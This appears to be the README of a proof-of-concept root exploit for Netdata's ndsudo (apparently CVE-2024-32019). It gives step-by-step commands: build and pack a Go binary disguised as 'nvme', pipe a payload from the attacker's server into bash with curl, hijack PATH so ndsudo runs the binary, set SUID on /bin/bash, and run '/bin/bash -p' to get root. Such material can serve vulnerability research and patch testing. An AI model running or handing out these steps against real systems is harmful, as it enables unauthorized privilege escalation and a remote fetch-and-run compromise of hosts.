Netdata ndsudo PoC
Build the binary:
go build -ldflags "-s -w" -o nvme poc.go
upx nvmeRun the bash script:
bash exploit.sh <YOUR IP>
In target machine run in a writable directory:
curl http://<YOUT IP>:8000/payload.sh | bashIt will automatically download the nvme binary, export the path, run ndsudo and add SUID to /bin/bash.
Probably you need to change the ndsudo path in exploit.sh
To escalate privileges just run:
/bin/bash -pThe exploit is based in https://github.com/AzureADTrent/CVE-2024-32019-POC, when I tested it, I had the error:
execve: Exec format errorThat's why I decided to create mine with Go.